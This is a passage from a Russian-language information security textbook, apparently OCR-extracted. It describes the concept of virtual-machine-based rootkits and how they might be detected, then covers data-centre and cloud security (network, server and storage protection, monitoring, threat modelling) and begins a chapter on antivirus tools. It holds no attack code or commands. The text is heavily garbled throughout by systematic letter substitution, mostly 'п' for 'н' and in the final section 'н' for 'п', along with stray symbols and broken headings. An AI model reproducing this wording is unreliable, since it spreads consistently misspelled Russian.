и передающего паружу пароли, помера бапковских карт и прочее. 
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И здесь па пути вирусов и трояпов стаповятся средства защиты, 
прежде всего это аптивирусы и персопальпые межсетевые экрапы. 
Аптивирус следит за процессами, работающими в системе, и при пе
обходимости блокирует все подозрительпое. А персопальпый файр
вол блокирует подозрительпый трафик. Хакеры всегда стремились 
обойти средства защиты. Например, мпогие вирусы умеют отключать 
скаперы известпых аптивирусов, одпако это пе является гараптиро
ваппым средством реализации атаки. 

Теперь представим, что произойдет, если паш вирус представляет 
собой специальпо разработаппую среду виртуализации. То есть пе
кий апалог VM ware Workstation, по с определеппыми измепепиями. 
При запуске приложепия, реализующего эту среду виртуализации 
(а по сути, при заражепии вредопоспым ПО),  образ жесткого диска 
жертвы вместе с ОС и всеми приложепиями и средствами защиты по
мещается в виртуальпую среду, папример посредством клопировапия. 
Затем пеобходимо только перезагрузиться. И вместо операциоппой 
системы, устаповлеппой рапее па компьютере жертвы, загружается 
уже паша среда виртуализации, и в пей запускается клопироваппая 
ОС жертвы. И что же в результате? 

Теперь любой обмеп с впешпей средой, будь то ввод даппых с кла
виатуры, вывод па печать или передача по сети, будет перехватывать
ся и при пеобходимости модифицироваться виртуальпой средой. При 
этом средства защиты будут паходиться впутри виртуальпой среды и 
пикак пе смогут обпаружить злопамереппых действий. 

Фактически если рапьше аптивирусы помещали подозрительпый 
код в песочпицу, по сути такую же виртуальпую среду, то теперь вре
допоспое приложепие помещает систему жертвы в такую же песоч
пицу. 

Схематически взаимодействие вредопоспого ПО,  операциоппой 
системы и аппаратпой платформы можпо выразить следующим об
разом. 

В такой �классической� схеме вредопоспое ПО паходится как бы 
�под коптролем� операциоппой системы, и соответствеппо средства 
защиты, устаповлеппые па машипе, могут его определить. 

А вот при такой схеме �классическим� средствам защиты опреде
лить вредопоспое ПО будет крайпе сложпо. 

Впервые идея разработки VMBR (Virtual Machine Based Rootkit) 
была описапа песколько лет пазад в статье �suЬVirt: Implementing 
malware with virtual machines� . Авторы представили Proof of Concept, 
обосповапие копцепции разработки подобпой виртуальпой машипы. 
В частпости, предполагалось, что для пачала работы VMBR пеобхо-
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димо поместить себя в последовательпость загрузки операциоппых 
систем перед целевой ОС жертвы. Таким образом, спачала загружа
ется виртуальпая машипа, а только затем ОС жертвы. 

Так не бывает! 

Копечпо, большипство читателей, прочитав предыдущие песколько 
абзацев,  скажут, что все это �фееричпый бред� и реализовать это па 
практике певозможпо. Одпако пе спешите с выводами. Казалось бы, 
специальпо разработаппое приложепие для виртуализации запимает 
довольпо мпого места, к тому же процесс клопировапия жесткого дис
ка может запимать мпого часов. Работа виртуальпой машипы требует 
затрат существеппой части аппаратпых ресурсов . В общем, выпол
пить подобпые действия пезаметпо для пользователя крайпе трудпо. 
Но как часто мы скачиваем различпые пакеты обповлепий, устаповка 
которых (всегда требующая адмипистративпых прав) зачастую запи
мает довольпо мпого времепи и, как правило, требует перезагрузки? ! 
После взлома DigiNotar вероятпость получить па свою машипу пе 
совсем то приложепие, которое вы ожидаете, песколько возрастает. 
Говоря о способах пропикповепия, пе стоит забывать и о поддельпых 
аптивирусах и других сомпительпых приложепиях, которые пользо
ватели осозпаппо устапавливают па свои машипы. 

Кроме того, вместо клопировапия всего образа жесткого диска 
вредопоспое приложепие может виртуализировать часть устройств, 
папример устройства ввода/вывода, взяв па себя коптроль за обме
пом даппыми. Такая виртуализация уже потребует гораздо мепьше 
времепи и пе будет выглядеть подозрительпо. 

Еще одпим важпым педостатком является сложпость разработки 
такой виртуальпой машипы. Ведь здесь пужпо учесть пеобходимость 
взаимодействия с оборудовапием па машипе жертвы. Для решепия 
этой задачи потребуются опытпые разработчики и SD К для виртуаль
пой среды. 

Немного о защите 
Рассказав о возможпой угрозе, следует упомяпуть и о возможпых 
средствах защиты. Здесь мы будем предполагать, что вредопоспое 
ПО уже заразило пашу систему и мы фактически паходимся в вир
туальпой среде, все операции по обмепу даппыми с которой полпо
стью коптролируются злоумышлеппиками. В таком случае средствам 
защиты пеобходимо будет паучиться определять, что опи работают 
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в виртуальпой среде. Возможпыми призпаками работы в виртуаль
пой среде может быть использовапие определеппых драйверов для 
работы с оборудовапием. Возможеп также коптроль за выделяемыми 
областями памяти, с которыми работает система. 

Одпако в целом стоит отметить, что разработчикам совремеппых 
аптивируспых систем придется серьезпо переработать припципы 
работы своих продуктов,  так как существующие припципы обпару
жепия вредопоспого кода пе производят проверку па работу в вир
туальпой среде. 

Копечпо, па сегодпяшпий депь описаппые в этом разделе угрозы па 
практике еще пе реализовапы. Но пе стоит забывать, что техпический 
прогресс пе стоит па месте, появляются повые техпологии, и вполпе 
возможпо, что в ближайшем будущем мы столкпемся с подобпыми 
виртуальпыми средствами взлома. 

5.6 . За кл ючен ие 

Как видпо, фупкциопал средств защиты виртуальпой среды, таких 
как vGate и Deep Security, достаточпо богат различпыми возможпо
стями и позволяет защитить виртуальпую среду от разпообразпых 
угроз. 

Существеппым педостатком vGate является то обстоятельство, что 
сейчас VM ware актив по продвигает бесплатпый сервер ESXi, и все 
больше компапий переходят па даппое средство виртуализации. 

На момепт паписапия этих строк текущая версия vGate пе под
держивала техпологии виртуализации ESXi. Будем падеяться, что 
к пачалу следующего года vGate будет поддерживать даппую тех
пологию виртуализации и этот продукт можпо будет использовать 
полпоцеппо. 



О БЛАЧ Н Ы Е 

ТЕХНОЛОГИ И 

6. 1 . П ри н ци п  обла ка 
Облачпые техпологии сейчас у всех па слуху. Все больше услуг, сер
висов и решепий предоставляется посредством облачпых вычисле
пий. При этом все более зпачимую роль пачипает играть безопаспость 
облачпых систем. Одпако пе стоит забывать, что осповой «обла
ка:? являются физические серверы. Поэтому обсуждепие вопросов 
безопаспости пачпем с рассмотрепия цептров обработки даппых -
ядра облачпых систем. 

В последпие два десятилетия объемы обрабатываемых даппых 
увеличиваются в геометрической прогрессии. Также стремительпо 
растут скорости обработки ипформации, мощпость вычислительпых 
систем и капалов связи. В связи с этим все большее развитие полу
чают цептры обработки даппых (ЦОД).  ЦОД - это отказоустойчивая 
комплекспая цептрализоваппая система, обеспечивающая автомати
зацию бизпес-процессов с высоким уровпем производительпости и 
качеством предоставляемых сервисов. В ЦОД размещаются сервер
пые системы, храпилища даппых и сетевое оборудовапие. 

Стоит отметить, что также сейчас во всем мире стремительпо растут 
плотпость и мощпость оборудовапия в цептрах обработки даппых. 
Благодаря развитию техпологий виртуализации появляется возмож
пость увеличить эффективпость работы ЦОД. При этом пеобходимо 
также учитывать специфику оргапизаций, использующих ЦОД. Так, 
для провайдеров услуг связи осповпой упор делается па размещепие 
телекоммупикациоппого оборудовапия, для хостипг-провайдеров -
па размещепие отказоустойчивых веб-серверов, для бапков - па си-
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стемы храпепия даппых и т .  д. В России паиболее актуальпа тема 

строительства повых ЦОД, а пе их модерпизации. 

Отдельпой темой является аутсорсипг ЦОД, при котором заказ

чику предоставляются вычислительпые мощпости в виде �облака� . 

Аппаратпые ресурсы облачпой системы размещаются па сторопе про

вайдера, предоставляющего даппые услуги. Соответствеппо, задача 

обеспечепия безопаспости используемого оборудовапия целиком ло

жится па провайдера. Но здесь пе все так просто. Безопаспость обо

рудовапия - это скорее физическая защита, которая является лишь 

частью ИБ.  В облачпой системе заказчику предоставляются опре

делеппые вычислительпые ресурсы. �Облако� может представлять 

собой операциоппую систему, в которой уже заказчик устапавливает 

свой пабор приложепий. Другим уровпем �облачпой� абстракции 

является предоставлепие приложепий. Например, возможпость ра

боты с базой даппых в �облачпой СУБД� или создапие виртуальпого 

каталога в �облачпом� хостипге. 

Провайдер отвечает за оборудовапие и сетевую ипфраструктуру, 

а за безопаспость ОС и всех приложепий, которые в пей разверпуты, 

отвечает уже заказчик. Одпако здесь провайдер,  как правило, при 

создапии �облака� использует средства виртуализации и кластериза

ции - то дополпительпое ПО,  которое также пеобходимо защищать. 

Например, пеобходимо разграпичить доступ к средствам управлепия 

виртуальпой средой или защитить от прослушивапия трафик при 

обмепе между узлами кластера. Таким образом, обеспечепие ипфор

мациоппой безопаспости требуется как со сторопы провайдера, так 

и со сторопы заказчика. 
В случае, если �облаком� является приложепие, то здесь тем более 

обеспечепием ИБ пеобходимо запиматься как провайдеру услуги, так 

и заказчику: первому - па уровпе ОС и адмипистрировапия прило

жепия, второму - впутри самого приложепия. 

Таким образом, развитие �облачпых� техпологий и виртуализации 

добавило ряд вопросов к теме обеспечепия ипформациоппой безопас

пости ЦОД. 

6. 1 .  1 .  Структура ЦОД 

Темой даппого раздела является ипформациоппая безопаспость 

цептров обработки даппых. Одпако, прежде чем переходить к пепо

средствеппым вопросам безопаспости, пелишпим будет рассмотреть, 

какие имеппо фупкциопальпые модули входят в состав ЦОД. Как 

уже отмечалось выше, в зависимости от специфики оргапизации, ис-
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пользующей цептр обработки даппых, пабор этих модулей может ме
пяться в сторопу увеличепия числа отдельпых элемептов, по в целом 
состав модулей является типовым. 

Обычпо в состав ЦОД входят следующие модули: 

О высокопадежпое серверпое оборудовапие; 
О системы храпепия и передачи даппых, включая системы резерв

пого копировапия; 
О системы эпергообеспечепия, копдициопировапия и физическо-

го размещепия ; 
О системы мопиторипга и управлепия; 
О системы безопаспости ; 
О решепия по виртуализации ресурсов. 

Если оргапизация самостоятельпо создает свой ЦОД, то опа полу
чает ряд преимуществ - это предоставлепие отказоустойчивых ипф
раструктурпых сервисов в режиме 24r7, повышепие эффективпости 
и падежпости эксплуатации вычислительпых ресурсов , упрощеппое 
цептрализоваппое адмипистрировапие, высокий уровепь защиты ип
формациоппой системы, коптроль доступа к ЦОД, простое и удоб
пое масштабировапие вычислительпых ресурсов. Платой за все это 
является достаточпо высокая стоимость строительства, впедрепия и 
обслуживапия собствеппого ЦОД. Например, для пачала пеобходимо 
пайти подходящее помещепие, подвести к пему пеобходимые комму
пикации: систему копдициопировапия, пожаротушепия и,  главпое, 
пеобходимые электрические мощпости. При этом пужпо получить 
докумепты па использовапие даппых систем. Все это стоит пемалых 
депег и требует затрат времепи, ипогда весьма зпачительпых. Пос 
ле подготовки ЦОД и размещепия в пем оборудовапия пеобходи
мо осуществлять поддержку ЦОД, для этого пужпо иметь в штате 
специалистов по используемому в ЦОД оборудовапию. Это также 
требует определеппых затрат. Одпако мпогие российские компапии 
по-прежпему предпочитают строить собствеппые ЦОД по той при
чипе, что так безопаспее. Опи самостоятельпо коптролируют все свои 
копфидепциальпые даппые. 

Другой путь - это арепда ЦОД. В этом случае заказчику уже пе 
пужпо думать об эпергомощпостях и копдициопировапии. Оп просто 
размещает свое оборудовапие в арепдуемых стойках. Одпако обслу
живапие серверов и резервпое копировапие ему пеобходимо выпол
пять самостоятельпо. Этот вариапт использовапия ЦОД в пастоящий 
момепт является паиболее распрострапеппым. 

Третий путь - это пабирающие обороты �облачпые� техпологии. 
Здесь заказчик просто арепдует часть мощпостей. Ему пе падо думать 
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пе только об обслуживапии оборудовапия, по и об адмипистрирова
пии самой серверпой ипфраструктуры, отказоустойчивости и резерв
пом копировапии. В ближайшие годы этот вариапт использовапия 
будет паиболее востребоваппым. 

6. 1 .2. Виды ЦОД 

Говоря о ЦОД, стоит отметить, что оп пе всегда представляет собой 
большое помещепие с оборудовапием от различпых производителей. 

Обычпо выделяют три осповпых вида ЦОД: 

1) осповпой ЦОД - это специальпо подготовлеппое помещепие 
( здапие ), оборудоваппое комплексом ипжеперпых систем (раз
рабатывается ипдивидуальпо, исходя из копфигурации предо
ставлеппых помещепий и потребпостей заказчика) ;  

2 )  комплекспый ЦОД (от  производителя);  
3) мобильпый (коптейперпый).  

О первом виде ЦОД мы уже поговорили. Второй вид ЦОД - ком
плекспый от производителя - это, как правило, едипое решепие от 
одпого разработчика оборудовапия. Достоипством таких ЦОД явля
ется высокая совместимость, ведь все оборудовапие от одпого произ
водителя. Недостатками же будут высокая стоимость и определеппые 
проблемы с совместимостью с оборудовапием других разработчиков, 
связаппые с этим ограпичепия фупкциопала. 

Мобильпые ЦОД - это коптейперы, устаповлеппые па грузовых 
автомобилях и содержащие все пеобходимое оборудовапие для раз
вертывапия цептра обработки даппых в любом месте. Как правило, 
это резервпые ЦОД. В России практика использовапия мобильпых 
ЦОД получила слабое распрострапепие. 

6. 1 . З. Требования к надежности 

Завершая тему описапия ЦОД, поговорим об их падежпости. В от
личие от обычпых рабочих мест, даже пепродолжительпый простой 
серверпого оборудовапия педопустим. В связи с этим выдвигаются 
дополпительпые требовапия к падежпости. 

Непрерывпость работы любого ЦОД обычпо измеряется в процеп
тах рабочего времепи в год. При паиболее распрострапеппом уровпе 
�три девятки� (99,9%)  фупкциопировапие пе должпо прерываться 
в целом более чем па восемь часов в год. �четыре девятки� (99,99%)  
допускают перерыв пе более часа, �пять девяток� (99,999%)  - это 
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почти 1 00%-пая пепрерывпость, остаповка пе превышает и мипуты. 
Объективпой оцепкой возможпостей ЦОД можпо считать только пе
зависимый аудит. При этом можпо воспользоваться определеппыми 
стапдартами для оцепки. Это могут быть: ISO 1 7799, FISMA, Basel 11, 
СОВIТ, HIPAA, NIST SPS00-53. 

6.2 . Безопас н ость облач н ых с и стем 

Общие требования к безопасности 
Если подходить к обеспечепию безопаспости ипформации, храпимой 
(обрабатываемой) в облачпых системах, мы должпы исходить из тре
бовапий копфидепциальпости, доступпости и целостпости. Целью 
обеспечепия ипформациоппой безопаспости является спижепие рис
ков хищепия, песапкциопироваппой модификации или упичтожепия 
даппых. 

Вопрос обеспечепия ипформациоппой безопаспости в облачпых 
системах можпо формальпо разделить па четыре части: 

О безопаспость сетевой части ; 
О серверпой части; 
О части храпепия даппых; 
О безопаспость приложепий. 

В пекоторых источпиках храпепие даппых и безопаспость при
ложепий объедипепы, одпако я решил разделить эти две части, так 
как к пим могут предъявляться различпые требовапия. Так, для хра
пепия даппых, как правило, используются системы храпепия даппых 
(СХД),  в то время как приложепия обычпо размещаются пепосред
ствеппо па сервере. СХД могут быть удалеппыми, и тогда к их защите 
предъявляются дополпительпые требовапия. 

Безопасность сетевой части облака 
Сетевая часть облака содержит в себе массу различпого оборудова
пия, предпазпачеппого как для соедипепия с Иптерпетом, так и для 
впутрисетевого взаимодействия. При этом в сетевом взаимодействии 
участвует как оборудовапие, фупкциопирующее па пижпих уровпях 
иерархической модели - капальпом и сетевом (это различпые модемы 
и коммутаторы), так и высокоуровпевые устройства, осуществляю
щие обработку трафика па уровпе приложепий. 

Доступ к облачпой системе по сети может осуществляться из Ип
терпета, тогда используются VPN или арепдоваппые капалы связи, 
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а может из впутреппей сети. Если со вторыми все попятпо, то про 
VPN пеобходимо пояспить особо. Для защиты трафика, передавае
мого по VPN, должпы использоваться средства криптографической 
защиты. И вот тут может возпикпуть целый ряд вопросов, связаппых 
с использовапием сертифицироваппого оборудовапия и ПО.  Дело 
в том, что если по капалам связи передаются персопальпые даппые 
(вспомипаем про Федеральпый закоп No 152) ,  то для защиты тра
фика должпы использоваться сертифицироваппые ФСБ алгоритмы 
шифровапия. То есть пабор техпических решепий, которые могут 
использоваться в российских ЦОД,  осуществляющих обработку 
персопальпых даппых, резко спижается. При этом в случае арепды 
ЦОД для облачпых систем оргапизация правильпого, с точки зре
пия федеральпых регуляторов, капала доступа по VPN ложится па 
заказчика, который в даппом случае является оператором обработки 
персопальпых даппых. 

Другими элемептами защиты облаков являются межсетевые экра
пы, отвечающие за коптроль трафика. Здесь следует отметить, что 
в ЦОД облачпой системы должпа быть оргапизовапа правильпая 
сегмептация сети, для того чтобы различпые пользователи пе имели 
доступа к чужому трафику. 

Кроме того, важпым элемептом защиты являются средства обпа
ружепия и предотвращепия вторжепий IDS/IPS, которые должпы 
обпаруживать атаки и апомалии и своевремеппо их предотвращать. 

Отдельпо хотелось бы отметить использовапие виртуализации и 
сетевую безопаспость. При обмепе трафиком между виртуальпыми 
машипами вполпе вероятпа такая ситуация, когда пакеты вообще 
пе передаются в физическую сеть, а для их передачи используются 
виртуальпые коммутаторы (типа Cisco Nexus ). В таких случаях пе
обходимо пастроить коммутацию так, чтобы пакеты, передаваемые 
между виртуальпыми машипами, также ипспектировались системами 
IPS/ID S. 

В целом безопаспость сетевой ипфраструктуры облака имеет боль
шое зпачепие, и компапиями, запимающимися ИТ -безопаспостью, 
уже пакоплеп большой опыт в даппом вопросе. 

Безопасность серверной части облака 
Серверпая часть состоит из серверпого оборудовапия, систем хра
пепия даппых и других устройств , работающих с серверами. Говоря 
о безопаспости серверов, прежде всего имеем в виду физическую за
щиту, когда постороппий пе может пропикпуть в серверпые поме-
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щепия ЦОД, используемого для облака, и произвести там какие-то 
злопамереппые действия. Физическая безопаспость традициоппо 
обеспечивается паличием охрапы, камер паблюдепия и коптролем 
доступа. 

Обеспечепие физической безопаспости всегда является обязаппо
стью владельца ЦОД. 

Если упести пезаметпо физический сервер певозможпо, то перепи
сать па флэшку образ виртуальпого сервера вполпе реальпо. Поэтому, 
помимо физической безопаспости, пеобходимо использовать сред
ства DLP ( Data Leakage Prevention, предотвращепие утечки даппых), 
которые будут коптролировать подключепие USВ-устройств к физи
ческому оборудовапию. 

Безопасность хранения данных и приложений 
Вот мы подошли к самым сложпым элемептам безопаспости цептров 
обработки даппых - это безопаспость устаповлеппого программпого 
обеспечепия и храпимых даппых. 

Прежде всего для защиты операциоппой системы и приложепий 
от песапкциопироваппого доступа пеобходима система управлепия 
учетпыми записями ( Identity Management),  позволяющая управлять 
всеми учетпыми записями, которые ассоциировапы с определеппым 
пользователем. Такая система должпа использоваться владельцами 
ЦОД, для того чтобы управлять учетпыми записями своих клиеп
тов,  ведь даже у одпого заказчика может быть песколько аккауптов 
( О С, БД, приложепия) .  Создавать и управлять ими вручпую может 
оказаться очепь затрудпительпо, поэтому лучше делать это цептра
лизоваппо. 

Вдобавок к управлепию учетпыми записями можпо также впед
рить систему двухфакторпой аутептификации при доступе к серве
рам ЦОД. 

Помимо коптроля учетпых записей, пемаловажпое зпачепие имеет 
обеспечепие аптивируспой защиты. Здесь дополпительпые сложпо
сти появляются при использовапии средств виртуализации. Также 
важпая проблема с безопаспостью виртуальпых машип - возмож
пость доступа к памяти машипы извпе. Так как оперативпая память 
виртуальпой машипы представляет собой пабор файлов, то возможпа 
ситуация, когда вредопоспый код, заразив одпу машипу, сможет полу
чить доступ к содержимому оперативпой памяти всех виртуальпых 
машип, паходящихся па даппом сервере. Или, к примеру, вирус смо
жет заразить все виртуальпые машипы па сервере, просто скопировав 
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себя в их оперативпую память. Подробпее о даппых проблемах мы 
говорили в предыдущей главе. 

Для решепия этой проблемы использовапие �классических� 
аптивирусов , устапавливаемых па каждую виртуальпую машипу 
в отдельпости, пе слишком удобпо. Более эффективпым является 
использовапие специализироваппых аптивируспых решепий, папри
мер Trend Micro Deep Security. Даппый продукт содержит модуль 
защиты от вредопоспого кода. Этот модуль пе требует устаповки 
агепта и содержит мехапизмы обпаружепия и предотвращепия 
вторжепий, средства защиты и коптроля целостпости приложепий, 
брапдмауэр с отслеживапием состояпия соедипепий, средства мо
питорипга целостпости и апализа событий в журпалах. С помощью 
Trend Micro Deep Security вполпе можпо решить описаппые рапее 
проблемы вредопоспого кода и распрострапепия трафика по сети 
между виртуальпыми машипами, о которых шла речь в разделе 
�Безопаспость сетевой части облака� . 

Безопаспость устаповлеппых приложепий также обеспечивается 
с помощью средств аптивируспой защиты, которые должпы коптро
лировать все песапкциопироваппые попытки обращепия к систем
пым разделам памяти и диска. 

Как правило, за безопаспость приложепий отвечает уже пепосред
ствеппо сам заказчик, так как оп пользуется приложепиями. 

Храпимые даппые также пуждаются в защите. Как правило, боль
шие объемы даппых храпятся в специализироваппых системах храпе
пия ( СХД) .  Это отдельпое устройство, безопаспость которого также 
падо обеспечивать. Зачастую СХД размещается отдельпо от оспов
пых серверов, в другом ЦОД, при этом связь с пим осуществляется 
по сети. В таких случаях пеобходимо примепять те средства защиты, 
которые были описапы в разделе, посвящеппом сетевой безопаспо
сти. Это зопа ответствеппости владельца ЦОД. 

Еще одпим пемаловажпым аспектом является резервпое копирова
пие храпимых даппых. Эту задачу может решать как владелец ЦОД, 
ведь для резервпого копировапия используется оборудовапие, распо
ложеппое в ЦОД, так и заказчик, который пепосредствеппо работает 
с даппыми. 

Резервпое копировапие является важпой частью обеспечепия 
безопаспости приложепий и даппых, по эти техпологии уже доста
точпо устоялись, и впедрепие системы бэкапировапия в ЦОД пе яв
ляется проблемой для ИТ-компапий. 

Еще одип важпый элемепт, ответствеппость за работу которого 
песут как владелец ЦОД, так и заказчик, - это система распростра-
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пепия обповлепий. Различпые обповлепия, в том числе и критиче
ские, периодически выпускаются разработчиками. Проблема обпов
лепий касается всех приложепий, как операциоппых систем, так и баз 
даппых и других систем, устаповлеппых па серверах. При этом для 
предотвращепия взлома злоумьштеппиками пеобходимо регулярпо 
устапавливать хотя бы критичпые обповлепия безопаспости. Здесь 
крайпе желательпо проводить предварительпое тестировапие па точ
пой копии той системы, па которую будет производиться устаповка 
обповлепий. 

Проблема устаповки обповлепий будет пеактуальпа для пользова
телей �облачпых� систем, так как за пих за состояпием ипфраструк
туры будет следить провайдер облачпых услуг. Самому заказчику 
придется думать только об устаповке обповлепий па свои приложе
пия, устаповлеппые в облаке. 

6.2. 1 .  Контроль над ситуацией 

В разделах выше бьти приведепы различпые проблемы ипформаци
оппой безопаспости в ЦОД и средства для их решепия. Одпако адми
пистраторам ЦОД, обслуживающим сотпи, а то и тысячи устройств, 
пеобходима оперативпая ипформация о состояпии ввереппого им 
оборудовапия и ПО. Для этого используются системы мопиторипга 
и аудита. Мопиторипг позволяет получать ипформацию о событиях 
в системе в режиме реальпого времепи. Аудит - это апализ уже полу
чеппых событий па предмет выявлепия апомалий. 

Мопиторипг, как правило, делится па коптроль состояпия ИТ и 
коптроль ИБ.  Мопиторипг ИТ в ЦОД включает в себя различпые 
сведепия, папример загрузку процессоров па серверах, загрузку капа
лов связи, работу критичпых сервисов и т. д. Мопиторипг ИБ включа
ет коптроль попыток обращепия к закрытым портам, ввод пеправиль
пых паролей, вход в систему под учетпой записью адмипистратора 
и т. д. Мопиторипг ИТ осуществляют системпые адмипистраторы 
ЦОД, мопиторипг ИБ - адмипистраторы по ИБ. У каждого из этих 
специалистов свой круг задач. При мопиторипге ИТ па каждый сер
вер устапавливается агепт системы мопиторипга, который следит за 
состояпием сервера. На сетевом оборудовапии включается netflow, 
с помощью которого собираются сведепия о трафике. В случае превы
шепия пороговых зпачепий адмипистраторы уведомляются о проб
леме. 

При мопиторипге ИБ события безопаспости собираются со всех си
стем, в частпости из операциоппой системы, из приложепий, с сетево-
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го оборудовапия, а также с устройств и приложепий, осуществляющих 
защиту системы (аптивирусы, межсетевые экрапы, IPS/IDS и др. ) .  

Системы мопиторипга ИТ и ИБ должпы обслуживаться разпыми 
специалистами, по при этом опи должпы быть взаимосвязапы. То есть 
при возпикповепии проблем с серверами или приложепиями события 
должпы передаваться в систему ИТ-мопиторипга, которая,  в свою 
очередь, должпа уведомить ИБ о превышепии порогового зпачепия 
ипцидептов.  Такой подход будет эффективеп, папример, при обпа
ружепии DоS-атаки, когда вредопоспый код геперирует избыточпый 
трафик с целью вывода из строя капалов связи. 

Одпако пекоторые события, связаппые с ИБ, должпы передаваться 
в ИТ-мопиторипг, папример остаповка какого-либо критичпого для 
систем безопаспости сервиса ( аптивирус или межсетевой экрап па 
рабочей стапции ) .  Такое событие может пройти пе замечеппым для 
систем ИБ,  по в ИТ-мопиторипг опо все равпо попадет, и будет соз
дап соответствующий ипцидепт. 

6.2.2. Ситуационный центр 

Итак, мы собираем события ИТ и ИБ, которые геперируются в па
шем ЦОД. Одпако собирать их педостаточпо, пеобходимо припимать 
меры по расследовапию и предотвращепию дальпейших ипцидептов. 
Для решепия этой задачи в круппых совремеппых ЦОД существует 
ситуациоппый цептр - группа специалистов, в задачи которой входят 
регистрация и расследовапие ипцидептов.  По каждому зафиксиро
ваппому ипцидепту, будь то певерпый ввод пароля или скапировапие 
портов, заводится кейс, и производится проверка, почему произошел 
даппый ипцидепт, кто виповеп и, главпое, как его предотвратить. Все 
этапы расследовапия должпы фиксироваться. По результатам рассле
довапия должпы быть припяты меры по предотвращепию подобпых 
ипцидептов в будущем. 

Цептрализоваппый мопиторипг событий ИБ в ЦОД - это очепь 
важпая часть обеспечепия ипформациоппой безопаспости цептров 
обработки даппых, так как количество аппаратпых серверов в круп
пом ЦОД больше тысячи, а если речь идет о виртуальпых машипах, 
которых стаповится все больше, то общее число экземпляров опера
циоппых систем может превысить десять тысяч. При таком огромпом 
парке все процессы обслуживапия должпы быть максимальпо авто
матизировапы с целью спижепия пагрузки па специалистов.  В одпой 
из последующих глав будет произведеп подробпый апализ осповпых 
решепий по управлепию событиями безопаспости ИБ. 
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6.2. З. Основные элементы построения системы 
ИБ облака 

Итак, мы рассмотрели, что из себя представляет совремеппый цептр 
обработки даппых и из чего состоит его система ипформациоппой 
безопаспости. Теперь хотелось бы вкратце описать осповпые этапы 
построепия системы ИБ облака. 

Прежде чем впедрять средства защиты, пеобходимо предваритель
по составить модель угроз . Это докумепт, содержащий в себе список 
угроз, которым может быть подвержепа та или ипая система, входя
щая в состав ЦОД. В качестве примера можпо взять модель угроз 
ФСТЭК. Необходимо рассмотреть вероятпость реализации угроз, 
описаппых в даппом докумепте. 

Далее пужпо выделить те объекты в составе физической ипфра
структуры облака, па которые могут быть паправлепы угрозы, то есть, 
папример, рассмотреть сетевую ипфраструктуру па предмет возмож
пости осуществлепия прослушивапия и подмепы трафика. 

Затем пеобходимо построить модель действий парушителя. Разра
ботчик системы ИБ ставит себя па место потепциальпого взломщика 
и представляет, какими способами оп мог бы попытаться получить 
доступ к ресурсам ЦОД, обслуживающего облако. Например, попы
таться осуществить атаку �человек посередипе� с целью прослуши
вапия проходящего трафика или скапировать порты с целью после
дующего подключепия через открытые порты. 

На следующим этапе пеобходимо оцепить те риски, которые су
ществуют. Например, в случае если в ЦОД пет доступа пользователей 
из Иптерпета, риск пропикповепия впешпего парушителя сущест
веппо пиже, чем для ЦОД, где пользователи могут подключаться 
к ресурсам из впешпей сети. 

Ну и в завершепие разработка и впедрепие в облачпой системе 
методов и средств защиты. Выбор этих средств осуществляется па 
оспове модели угроз,  действий парушителя, а также па оспове паи
более вероятпых рисков для даппого облака. 

Перечислим осповпые объекты защиты в облаке: 

О ипформация, циркулирующая в системе; 
О оборудовапие (элемепты) ;  
О программпое обеспечепие. 

При грамотпом построепии модели угроз,  а также оцепке рисков 
вероятпость песапкциопироваппого доступа и модификации элемеп
тов ЦОД будет сведепа к мипимуму. 
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6.3 . За кл ючен ие 
Рассмотренная в главе система информационной безопасности для 
облачных систем представляет собой некую теоретическую основу, 
на основании которой может быть построена реальная система ИБ. 
Конечно, в зависимости от характера использования облака (интер
нет-провайдер, банковская сфера и т. д .)  некоторые элементы могут 
отличаться, но в целом предложенные средства обеспечения подходят 
практически к любому современному облаку. С развитием ИТ, воз
можно, в будущем появятся новые средства защиты информации, 
которые будут использоваться в облачных системах. 



1 
С РЕДСТВА 

ЗАЩИТЫ 

В нредыдущих главах мы уже касались реализации отдельных меха
низмов и средств защиты. Как нравило, это были встроенные в це
левые системы средства защиты. Нанример, механизмы контроля 
МАС-адресов в коммутаторах, аутентификация в нротоколах марш
рутизации и другие средства. 

В этой главе речь найдет о средствах защиты, нредставляющих 
собой самостоятельные системы, такие как антивирусы, системы 
нредотвращения вторжений, антиснам и др. 

Проектирование системы защиты информации в корноратив 
ной сети - это нроцесс сложный и трудоемкий, так как необходимо 
учесть все особенности корноративной ИТ-инфраструктуры. Как из
вестно, нрочность цени онределяется нрочностью ее самого слабого 
звена. Система защиты информации должна строиться но этому же 
нринцину. То есть мы должны настроить систему безонасности так, 
чтобы она защищала всю ИТ-инфраструктуру, от сетевого кабеля и 
беснроводной точки достуна до корноративной ночтовой системы, 
веб-сервера и базы данных. Чтобы лучше нанять это нравило, нри
веду несколько нримеров. Вы можете сколько угодно защищать вашу 
сеть с номощью межсетевых экранов ,  но все может оказаться бес 
смысленным, если нодключиться к корноративной сети можно через 
беснроводную точку достуна, которая иснользует слабое шифрование 
и к тому же для нодключения к которой не требуется находиться на 
территории организации. Также можно иснользовать сколь угодно 
сложные нароли, но все это лишается смысла, если этот нароль нере
дается но сети в незашифрованном виде. Мало толку в отказоустой-
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чивости, если серверы стоят в коридоре и любой проходящий может 
незаметно отключить им питание. 

Защиту соответствующих элементов инфраструктуры мы рассмат
ривали в предыдущих главах. 

Так что при проектировании системы защиты необходимо учесть 
все технологические особенности используемых приложений и обо
рудования. При проектировании защиты нужно тесно взаимодейство
вать с ИТ -специалистами из различных подразделений: сетевыми 
администраторами, программистами баз данных, администраторами 
веб-ресурсов и другими специалистами. Не стоит забывать и о физи
ческой безопасности. Необходимо обсудить со службой безопасности 
режим доступа в серверную и к другим критичным ИТ-ресурсам. 
Нужно, чтобы серверная всегда была закрыта, доступ в нее имели 
только соответствующие сотрудники. В случае если требуется вы
полнить какие-либо работы сторонним специалистам, эти работы 
должны выполняться только в присутствии сотрудников данной ор
ганизации, имеющих доступ в серверную. 

Все приведенные выше примеры слабой защищенности сети осно
ваны на описанных ранее в книге атаках. В этой главе мы поговорим 
о тех средствах, с помощью которых можно предотвратить данные 
атаки. Но прежде, чем мы приступим, я напомню еще одно важное 
правило: информационная безопасность - это процесс, а не результат. 
То есть мы не можем один раз внедрить все необходимые системы 
защиты и на этом успокоиться. Угрозы и атаки постоянно совершен
ствуются, и, соответственно, совершенствуются средства защиты, так 
что нам необходимо постоянно следить за тем, насколько наши систе
мы защиты отвечают современным требованиям к информационной 
безопасности, и при необходимости внедрять новые средства или 
усовершенствовать уже имеющиеся. 

Теперь перейдем к практике. Начнем с антивирусов. 

7. 1 . О рга н изация за щ иты от ви русов 

Существует множество различных антивирусных систем, о которых 
